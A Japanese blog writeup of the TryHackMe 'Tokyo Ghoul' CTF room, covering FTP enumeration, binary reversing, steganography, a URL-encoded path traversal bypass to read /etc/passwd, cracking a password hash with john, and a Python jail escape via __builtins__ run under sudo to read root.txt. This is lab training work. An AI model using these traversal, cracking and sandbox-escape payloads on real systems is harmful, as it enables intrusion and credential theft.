好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

TryHackMe Tokyo Ghoul writeup

TryHackMeの東京喰種 Room をやり終えたので、緩めwriteup置いておきます。ちなみに東京喰種は読んだこと無いけど問題を特にあたって特に支障はなかったです。
ネタバレを含むので、読んでいる最中の人、これから読む予定の人は読み終わってからがお勧めらしい。

ヒントが割と適切に設定されていたり、余計な情報が極力削ってあるので、自力で解きやすい印象を受けました。もしどうしてもハマっちゃったときに、薄目で参考にしていただければ。

tryhackme.com

Task2 Where am i ?

Nmapしてみなとのことなので、してみます。

$ nmap -sV 10.10.51.157
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-09 01:21 EST
Nmap scan report for 10.10.51.157
Host is up (0.022s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.97 seconds

この中に全部答えがありました。

Task3 Planning to escape

Did you find the note that the others ghouls gave you? where did you find it ?

マシンのIPにブラウザで接続すると、こんな画面が。

f:id:kusuwada:20220211024039p:plain

下の方のリンク先のページに飛んで

f:id:kusuwada:20220211024058p:plain

ソースを確認するとコメントでメッセージが書いてあったので、このリンク先のページのファイル名を答えました。

What is the key for Rize executable?

先程のソースに書いてあったノートがこちら

look don't tell jason but we will help you escape , here is some clothes to look like us and a mask to look anonymous and go to the ftp room right there you will find a freind who will help you

ftpルームという単語が見えます。先程のnmap調査でftpポートが空いていたので、接続してみます。

$ ftp 10.10.51.157
Connected to 10.10.51.157.
220 (vsFTPd 3.0.3)
Name (10.10.51.157:kali): 
530 This FTP server is anonymous only.
Login failed.

anonymous login というのが必要っぽい。USERを anonymous にすればいいらしいので

$ ftp 10.10.51.157
Connected to 10.10.51.157.
220 (vsFTPd 3.0.3)
Name (10.10.51.157:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp > 

ログインできたっぽい!ftpコマンドあまり使わないので早速ハマります。

ftp> ls
500 Illegal PORT command.
ftp: bind: Address already in use

ls コマンドすら打てない、調べてみると、acriveモードになっているのが原因のようなので pass コマンドで passive モードに切り替えます。

ftp> pass
Passive mode on.
ftp> ls
227 Entering Passive Mode (10,10,51,157,167,108)
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Jan 23  2021 need_Help?
226 Directory send OK.

おう、使えた。

このあたりを参考に、ftpのコマンドを使ってマシンの中をウロウロし、役に立ちそうなファイルをDLしていきます。以下、コマンド抜粋。

ftp> cd need_Help?
ftp> dir
-rw-r--r--    1 ftp      ftp           480 Jan 23  2021 Aogiri_tree.txt
drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2021 Talk_with_me
ftp> get Aogiri_tree.txt

ftp> cd Talk_with_me
ftp> ls
-rwxr-xr-x    1 ftp      ftp         17488 Jan 23  2021 need_to_talk
-rw-r--r--    1 ftp      ftp         46674 Jan 23  2021 rize_and_kaneki.jpg
ftp> mget rize_and_kaneki.jpg
ftp> get need_to_talk

いくつかファイルを落としたなかに、問題文の executable っぽいのが出てきました。実行してみます。

$ ./need_to_talk 
Hey Kaneki finnaly you want to talk 
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I'm looking for?
> 

この鍵がわかれば良さそう。radare2 で解析してみます。

$ r2 need_to_talk            
Warning: run r2 with -e io.cache=true to fix relocations in disassembly
[0x000010f0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
...(omit)...
[0x000010f0]> afl
0x000010f0    1 42           entry0
0x00001120    4 41   -> 34   sym.deregister_tm_clones
0x00001150    4 57   -> 51   sym.register_tm_clones
0x00001190    5 57   -> 50   sym.__do_global_dtors_aux
0x000010e0    1 6            sym.imp.__cxa_finalize
0x000011d0    1 5            entry.init0
0x00001000    3 23           sym._init
0x00001420    1 1            sym.__libc_csu_fini
0x0000122d    4 101          sym.print_intro
0x00001424    1 9            sym._fini
0x00001292    4 87           sym.slow_type
0x000013c0    4 93           sym.__libc_csu_init
0x000011d5    4 88           main
0x000012e9    4 125          sym.check_password
0x00001366    1 77           sym.print_flag
...(omit)...

check_passwordという関数があるので、中身を見てみます。

f:id:kusuwada:20220211024114p:plain

お、ここに書いてありました!このパスワードが答え。

Use a tool to get the other note from Rize .

Hint

Touka said one time something about steg... stog? and hidding things i can't remember

ゲットしたパスワードを入れて先程のファイルを実行してみます。

$ ./need_to_talk             
Hey Kaneki finnaly you want to talk 
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I'm looking for?

> ********
Good job. I believe this is what you came for:
*******

何やらもう一つパスフレーズを手に入れました。
※パスワードと答えは伏せ字にしました。

ヒントにステガノっぽい事が書いてあるので、stego-toolkitを上から試してみます。先程もう一つパスフレーズっぽいのを手に入れたので、password付きのものが怪しい。

$ steghide extract -sf rize_and_kaneki.jpg -p *********** -xf output.txt
wrote extracted data to "output.txt".

steghideがヒットしました。このアウトプットが次のタスクのインプットになりそう。

Task4 What Rize is trying to say?

What the message mean did you understand it ? what it says?

先程 steghide で得られたアウトプットは、モールス信号っぽい。面倒なのでcyberchefに放り込みました。

$ cat output.txt
haha you are so smart kaneki but can you talk my code 

..... .-
....- ....-
....- -....
--... ----.
....- -..
...(omit)...

if you can talk it allright you got my secret directory 

f:id:kusuwada:20220211024133p:plain

モールス信号 -> From Hex -> From Base64 で答えが出てきました。

Can you see the weakness in the dark ? no ? just search

Hint

what you can't do the moon walk?

うーん、次の問題は問題文もヒントも意味が全くわからない。
just search とのことだったので、80ポート、Webサイトに戻って、さっきcyberchefで出てきた答えをpathに追加してみます。ディレクトリっぽい名前だったので。
すると、こんなページが出てきました。

f:id:kusuwada:20220211024150p:plain

scan me とのこと。
新しいpathが分かったので、最初やってあまりヒットしなかった gobster を使ってみます。

gobuster dir -u http://10.10.146.98/*********_center -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.146.98/*********_center
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/09 06:20:19 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/claim                (Status: 301) [Size: 329] [--> http://10.10.146.98/*********_center/claim/]
...(omit)...
/index.html           (Status: 200) [Size: 
...(omit)...
  
===============================================================
2022/02/09 06:20:48 Finished
===============================================================

お、一つ新しいのが出てきました!アクセスしてみます。

f:id:kusuwada:20220211024209p:plain

このサイトの yes/no を押すと、

(omit)/index.php?view=flower.jpg

にリダイレクトされます。どうやらこのファイル名のものを表示してくれるっぽい。とりあえず脆弱性を見つけたので次の問題へ。

What did you find something ? crack it

次の問題文やヒントからHashが関連しそうなので、/etc/passwd/etc/shadow が取得できないかやってみます。

(omit)/index.php?view=../etc/passwd

にアクセスすると、

no no silly don't do that

という表示が。怪しい。いけそう。
この表示が出たということは、攻撃を検知されたということなので bypass する方法を探してみます。
../%2e%2e%2f で置き換えるやつが刺さりました👍

$ curl --path-as-is http://10.10.146.98/*********_center/claim/index.php?view=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
<html>
    <head>
    <link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans" rel="stylesheet"> 
    <link rel="stylesheet" type="text/css" href="style.css">
    </head>
    <body>
    <div class="menu">
        <a href="index.php">Main Page</a>
        <a href="index.php?view=flower.gif">NO</a>
        <a href="index.php?view=flower.gif">YES</a>
    </div>
<p>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

...(omit)...

vagrant:x:1000:1000:vagrant,,,:/home/vagrant:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
ftp:x:112:118:ftp daemon,,,:/srv/ftp:/bin/false
kami***ro:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGx***:1001:1001:,,,:/home/kami***ro:/bin/bash
</p>    </body>
</html>

同様にして、 etc/shadow も取得しようとしましたが出来ず。
よく見てみると、最後の方(user:kami***ro)にhashっぽいのがくっついています。

what is rize username ?

が次の問題だったので、この名前を入れると答え。

what is rize password ?

このHashをクラックすれば良さそう。

このあたりを見ながら、クラックを試みます。

$ echo 'kami***ro:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGx***:1001:1001:,,,:/home/kami***ro:/bin/bash' > unshadow.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
***********      (kami***ro)     
1g 0:00:00:00 DONE (2022-02-09 07:12) 1.136g/s 1745p/s 1745c/s 1745C/s cuties..mexico1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

結構すぐにクラックできました!Hashのroomを直前にやっていたのもあって割とすぐ攻略出来た!嬉しい!

Task5 Fight Jason

user.txt

先程取得したuserとpasswordでマシンにsshし、きっとuser直下にあるuser.txtを取得する流れ。早速やってみます。
*** は伏せ字です。

$ ssh kami***ro@10.10.146.98
The authenticity of host '10.10.146.98 (10.10.146.98)' can't be established.
ECDSA key fingerprint is SHA256:wC2+hZ3E/vA2oWXiu0iRsS4Pd4CZzKotH1IoO2QEU4Q.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.146.98' (ECDSA) to the list of known hosts.
kami***ro@10.10.146.98's password: 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-197-generic x86_64)

...(omit)...

Last login: Sat Jan 23 22:29:38 2021 from 192.168.77.1
kami***ro@vagrant:~$ ls
jail.py  user.txt
kami***ro@vagrant:~$ cat user.txt

げっと!

root.txt

今度は /root にあると思われる root.txt を取得する流れ。何か権限昇格の足がかりが必要です。
先程の user.txt の隣りにあった jail.py が気になります。

#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to my world kaneki")
    print("========================================================================")
    print("What ? You gonna stand like a chicken ? fight me Kaneki")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("Do you think i will let you do this ??????")
            return;
    else:
        exec(text)
        print('No Kaneki you are so dead')
if __name__ == "__main__":
    main()

keyword のリストに入っていないコマンドを使って、 /root/root.txt を読み出せば良さそう。ちょっと実験してみます。

>>> 'print("test")'
test
No Kaneki you are so dead

コマンドはこんな感じで実行できそう。ちなみにこのスクリプトはrootじゃないと編集権限はないので、NGワードを書き換えるのは出来ません。
問題は opensystem, importなど禁止されている用語を使わずに、どうやってファイルを読み込むか。
pythonコマンドに頼るより、osコマンドを実行するほうが抜け道がありそう。

os.system("cat /root/root.txt")

こんな感じにしたいのだけど…。
replace()を使ったりして出来ないかいろいろ試したけど出来ず。ググってもなかなかドンピシャのものは出てこない。

あ、ヒントがあった。

jail ? python???? wait

jail といえば、最近覚えたての単語。確か「刑務所」的な意味だったような。なんでこんな名前が付いてるんだろうと思って、python jail とかでググってみるとこんなサイトが。

Escaping Python Jails. Getting user input and executing it is… | by Aneesh Dogra | Aneesh Dogra’s Blog

有名なスクリプトから派生してるのか。
この説明を読んでみると、__builtins__ というのが使えるっぽい。最後の方の例文をほぼそのまま使ってみます。

>>> __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat /root/root.txt')
cat: /root/root.txt: Permission denied

Permission deniedだ!このスクリプトをroot権限で実行する必要がありそう。
いろいろ試してみた所、/usr/bin/python3 を sudo して実行することが出来ました。パスワードは先程sshで使ったものと同じでした。

$ sudo /usr/bin/python3 /home/kami***ro/jail.py 
[sudo] password for kami***ro: 
Hi! Welcome to my world kaneki
========================================================================
What ? You gonna stand like a chicken ? fight me Kaneki
>>> __builtins__.__dict__["__IMPORT__".lower()]("OS".lower()).__dict__["SYSTEM".lower()]("cat /root/root.txt")
*******************************
No Kaneki you are so dead

伏せ字にしましたが、これでflag取れました!やったね!
最後の問題はヒントを見ないと厳しかった気がしますが、THM始めてから得た知識や最近のHolidayHackで得た知識を総動員して、自力でなんとか解けて楽しかった!!!